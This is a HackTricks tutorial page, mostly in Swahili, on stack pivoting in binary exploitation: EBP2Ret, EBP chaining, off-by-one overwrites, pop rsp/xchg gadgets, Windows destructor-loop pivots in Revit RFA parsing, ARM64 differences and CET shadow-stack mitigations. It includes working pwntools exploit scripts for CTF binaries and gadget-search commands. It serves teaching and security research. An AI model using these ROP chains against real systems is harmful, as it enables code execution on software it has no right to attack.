Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Mbinu hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) kuunganisha utekelezaji wa multiple functions kupitia matumizi makini ya frame pointer na mnyororo wa maagizo leave; ret
.
Kumbuka, kwenye x86/x86-64 leave
ni sawa na:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.
Vidokezo
- Kwenye 64-bit, badilisha EBP→RBP na ESP→RSP. Mantiki ni ile ile.
- Baadhi ya compilers huondoa frame pointer (tazama “EBP might not be used”). Katika hali hiyo,
leave
inaweza isijitokeze na teknik hii haitafanya kazi.
EBP2Ret
Tekniki hii ni hasa muhimu wakati unaweza kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP. Inategemea tabia ya function epilogue.
Ikihalika, wakati wa utekelezaji wa fvuln
, ukifanikiwa kuingiza a EBP bandia kwenye stack inayobainisha eneo la kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (kwa nyongeza 8 bytes kwenye amd64 / 4 bytes kwenye x86 kwa ajili ya pop
), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Wakati function inarudi, leave
inaweka RSP kwenye eneo lililotengenezwa na pop rbp
inafuata inaposhuka RSP, kwa ufanisi kuifanya iainishe anwani iliyoandikwa na mshambulizi huko. Kisha ret
itatumia anwani hiyo.
Angalia kwamba unahitaji kujua anwani 2: anwani ambayo ESP/RSP itayokwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret
itatumia.
Exploit Construction
Kwanza unahitaji kujua an wani ambapo unaweza kuandika arbitrary data/addresses. RSP itabakiwa imeelekezwa hapa na itaitumia ret
ya kwanza.
Kisha, unahitaji kuchagua anwani itakayotumiwa na ret
itakayohamisha utekelezaji. Unaweza kutumia:
- Anwani sahihi ya ONE_GADGET.
- Anwani ya
system()
ikifuatiwa na return na vigezo vinavyofaa (kwenye x86: lengo laret
=&system
, kisha 4 junk bytes, kisha&"/bin/sh"
). - Anwani ya gadget ya
jmp esp;
(ret2esp) ikifuatiwa na inline shellcode. - Mnyororo wa ROP uliopangwa katika kumbukumbu inayoweza kuandikwa.
Kumbuka kwamba kabla ya anwani yoyote ya hizi katika eneo linalodhibitiwa, lazima kuwepo nafasi kwa pop ebp/rbp
kutoka leave
(8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuanzisha EBP bandia ya pili na kudumisha udhibiti baada ya wito wa kwanza kurudi.
Off-By-One Exploit
Kuna aina inayotumika wakati unaweza kubadilisha tu byte yenye umuhimu mdogo wa EBP/RBP iliyohifadhiwa. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka nayo kwa ret
lazima lishare byte tatu/tano za kwanza na EBP/RBP ya asili ili overwrite ya 1-byte iweze kuipelekeza mahali pengine. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka umbali mkubwa iwezekanavyo ndani ya ukurasa wa karibu/eneo lililotangazwa.
Pia ni kawaida kutumia RET sled katika stack na kuweka ROP chain halisi mwishoni ili kufanya uwezekano mkubwa kwamba RSP mpya itaonyesha ndani ya sled na mnyororo wa mwisho wa ROP utaendeshwa.
EBP Chaining
Kwa kuweka anwani inayoangaliwa katika slot ya EBP
iliyohifadhiwa kwenye stack na gadget ya leave; ret
katika EIP/RIP
, inawezekana kuhamisha ESP/RSP
hadi anwani inayodhibitiwa na mshambulizi.
Sasa RSP
inadhibitiwa na agizo linalofuata ni ret
. Weka katika kumbukumbu inayodhibitiwa kitu kama:
&(next fake EBP)
-> Imepakuliwa napop ebp/rbp
kutokaleave
.&system()
-> Inaitwa naret
.&(leave;ret)
-> Baadasystem
inapomalizika, inasogeza RSP kwa EBP bandia inayofuata na kuendelea.&("/bin/sh")
-> Hoja kwasystem
.
Kwa njia hii inawezekana kuunganisha EBP bandia kadhaa kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ngumu zaidi na inafaa tu katika kesi za pembezoni.
Zaidi ya hayo, hapa kuna mfano wa changamoto inayotumia tekniki hii pamoja na stack leak ili kuita function ya kushinda. Huu ni payload ya mwisho kutoka ukurasa huo:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
Ushauri wa alignment (amd64): System V ABI inahitaji upangaji wa stack wa 16-byte kwenye maeneo ya call. Ikiwa chain yako inaita functions kama
system
, ongeza alignment gadget (mfano,ret
, ausub rsp, 8 ; ret
) kabla ya call ili kudumisha alignment na kuepuka crashes zamovaps
.
EBP inaweza isitumike
Kama explained in this post, ikiwa binary imekompilishwa kwa maboresho fulani au kwa kuondolewa kwa frame-pointer, EBP/RBP hazidhibiti kabisa ESP/RSP. Kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue haitarejesha kutoka kwa frame pointer.
- Isiyoboreshwa / frame pointer inatumika:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imeboreshwa / frame pointer imeondolewa:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Kwenye amd64 mara nyingi utaona pop rbp ; ret
badala ya leave ; ret
, lakini ikiwa kiashiria cha fremu kimetolewa kabisa basi hakuna epilogi inayotegemea rbp
ya kupivota kupitia.
Njia nyingine za kudhibiti RSP
pop rsp
gadget
In this page utapata mfano unaotumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita function yenye hoja 2 maalum, na kulikuwa na pop rsp
gadget na kuna leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
Kupata pivot gadgets haraka
Tumia gadget finder unayopendelea kutafuta pivot primitives za jadi:
leave ; ret
kwenye functions au katika librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(auadd esp, <imm> ; ret
kwa x86)
Mifano:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Mfano wa Klasiki wa pivot staging
Mkakati imara wa pivot unaotumika kwenye CTFs/exploits nyingi:
- Tumia overflow ndogo ya awali ili kuita
read
/recv
ndani ya eneo kubwa linaloweza kuandikwa (mfano,.bss
, heap, au mapped RW memory) na weka full ROP chain huko. - Rudi kwenye pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) ili kuhama RSP kwenda eneo hilo. - Endelea na mnyororo uliowekwa (mfano, leak libc, uita
mprotect
, kisharead
shellcode, kisha ruka kwake).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Parsers upande wa mteja wakati mwingine hufanya destructor loops ambazo zinaita kwa njia isiyo ya moja kwa moja function pointer inayotokana na object fields zinazodhibitiwa na attacker. Ikiwa kila iteresheni inatoa hasa wito mmoja wa indirect (mashine ya “one-gadget”), unaweza kubadilisha hii kuwa stack pivot thabiti na ROP entry.
Imetambuliwa katika Autodesk Revit RFA deserialization (CVE-2025-5037):
- Vitu vilivyotengenezwa vya aina
AString
huweka pointer kwa attacker bytes kwenye offset 0. - Destructor loop kwa ufanisi inatekeleza gadget moja kwa kila object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Pivots mbili za vitendo:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains
8B E0
→mov esp, eax
, eventuallyret
, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(move original rax into rbp) - Gadget 2:
leave ; ... ; ret
(becomesmov rsp, rbp ; pop rbp ; ret
), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Vidokezo kwa Windows x64 baada ya pivot:
- Heshimu 0x20-byte shadow space na uendeleze 16-byte alignment kabla ya
call
sites. Mara nyingi ni rahisi kuweka literals juu ya return address na kutumia gadget kamalea rcx, [rsp+0x20] ; call rax
ikifuatiwa napop rax ; ret
ili kupitisha stack addresses bila kuharibu control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW
/GetProcAddress
to dynamically resolve targets likeucrtbase!system
. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
call
through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret
. The sequence then behaves like it ended withret
(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret
), which is invaluable to load Windows x64 arg registers without clobbering others.
Kwa ujenzi wa chain kamili na mifano ya gadgets, angalia rejea hapa chini.
Mitigations za kisasa zinazovunja stack pivoting (CET/Shadow Stack)
CPU za x86 za kisasa na OS zinatumia kwa wingi CET Shadow Stack (SHSTK). Kwa SHSTK ikiwa imewezeshwa, ret
inalinganisha return address kwenye stack ya kawaida na shadow stack iliyolindwa na vifaa vya maunzi; upotokezi wowote unasababisha Control-Protection fault na kuua mchakato. Kwa hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitarusha crash mara tu ret
ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivotiwa.
- For background and deeper details see:
- Ukaguzi wa haraka kwenye Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Vidokezo kwa maabara/CTF:
-
Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zilizo CET-enabled wakati vifaa na glibc vinavyounga mkono vipo. Kwa upimaji ulioodhibitiwa ndani ya VMs, SHSTK inaweza kuzimwa mfumo mzima kupitia kernel boot parameter
nousershstk
, au kuwezeshwa kwa njia chaguo-chagu kupitia tunables za glibc wakati wa startup (angalia marejeo). Usizime mitigations kwenye targets za production. -
Mbinu za aina JOP/COOP au SROP zinaweza bado kuwa zinazofaa kwenye targets fulani, lakini SHSTK hasa inavunja
ret
-based pivots. -
Kumbuka kwa Windows: Windows 10+ inaonyesha user-mode na Windows 11 inaongeza kernel-mode “Hardware-enforced Stack Protection” iliyojengwa kwa shadow stacks. Mchakato unaoungwa mkono na CET huwazuia stack pivoting/ROP kwa
ret
; watengenezaji hujiunga kupitia CETCOMPAT na sera zinazohusiana (angalia marejeo).
ARM64
Katika ARM64, the prologue and epilogues za functions hazihifadhi wala kurejesha register ya SP kwenye stack. Zaidi ya hayo, instruksi ya RET
haitarudi kwenye anwani inayotegemea SP, bali kwenye anwani iliyo ndani ya x30
.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30
register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Njia ya kutekeleza kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP
(kwa kudhibiti register fulani ambayo thamani yake inapita kwa SP
au kwa sababu kwa namna fulani SP
inachukua anwani yake kutoka kwenye stack na tunayo overflow) na kisha kutumia epilogue kupakia register ya x30
kutoka kwa SP
yenye kudhibitiwa na RET
kwa anwani hiyo.
Pia kwenye ukurasa ufuatao unaweza kuona sawa na Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, eksploit ya off-by-one ikitumia rop chain kuanza na ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, hakuna relro, canary, nx na pie. Programu inatoa leak ya stack au pie na WWW ya qword. Kwanza pata stack leak na utumie WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya "milele" kwa kutumia
.fini_array
entries + kupiga__libc_csu_fini
(more info here). Kwa kutumia kuandika kwa "milele" hii, inaandikwa ROP chain kwenye .bss na hatimaye kuitwa ikipivot kwa RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — maelezo juu ya SHSTK,
nousershstk
,/proc/$PID/status
flags, na jinsi ya kuziwezesha kupitiaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.